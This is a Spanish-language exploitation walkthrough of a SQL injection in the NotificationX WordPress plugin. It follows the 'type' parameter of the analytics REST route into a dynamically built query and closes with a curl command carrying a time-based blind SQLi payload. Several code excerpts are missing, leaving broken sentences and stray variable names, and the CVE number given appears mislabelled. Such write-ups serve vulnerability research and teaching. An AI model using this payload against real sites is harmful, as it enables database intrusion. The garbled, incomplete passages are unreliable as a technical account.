
Análisis técnico paso a paso de CVE-2019-1698, una vulnerabilidad de inyección SQL en un plugin de WordPress, con revisión de diff de código, identificación de la función vulnerable y demostración de explotación mediante curl.
Referencia de código 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php

Referencia de código 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

Por lo tanto, el siguiente archivo es relevante para este CVE:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
Ahora, vamos a revisar el archivo que podría contener el código vulnerable:
Centrémonos en la función insert_analytics():
Recibe la (que proviene del usuario) y extrae el parámetro .
$requesttypeLuego, este valor se pasa a la función CoreAnalytics::get_instance()->insert_analytics():

Para desencadenar este código, podemos notar la ruta mapeada (desde la clase Analytics, dentro de la función register_routes()):
$this->namespace . '/' . $this->rest_base
Y el constructor de la clase Analytics revela los valores de las variables namespace y rest_base:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
Por lo tanto, el código relevante (vulnerable) que acepta el parámetro type suministrado por el usuario se puede alcanzar mediante la siguiente ruta:
notificationx/v1/analytics
Pero, ¿cuál es el método de explotación y dónde está la consulta SQL para la inyección?
Dado que el parámetro type suministrado por el usuario se pasa a:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
Localizando esta función:
Comprobemos el código de esta función en el archivo resaltado:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

Si estás pensando que la vulnerabilidad reside en la función increment_count(), entonces estás absolutamente en el camino correcto.
Aquí está la función increment_count (y tiene el parámetro $type proveniente del usuario):

Esta función, a su vez, llama a la función update_analytics(). Vamos a localizarla:


La función update_analytics crea una consulta SQL dinámicamente y la entrada del usuario sin sanitizar forma parte de ella. ¿Huele sospechoso? Debería, porque esto es lo que causa la vulnerabilidad.
El parámetro $col corresponde al parámetro type enviado por el usuario en la petición HTTP.
La variable $table_name se establece en: nx_stats:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
Para identificar el verbo correcto, utilicé la API REST de WordPress:
http://localhost/wp-json/

La ruta de la API /notificationx/v1/analytics se puede activar mediante una petición POST y tenemos que pasar el nx_id (un entero) y (opcionalmente) el type (una cadena).
Recuerda que la información de analíticas se actualizaba en la tabla llamada nx_stats, lo que dedujimos antes usando estos fragmentos de código de wp-content/plugins/notificationx/includes/Core/Database.php:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

Nuestro plan es ver la consulta SQL construida cuando pasamos nuestro payload en la petición.
Y ahora, enviaremos de nuevo nuestra petición curl (con el payload de SQLi):
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
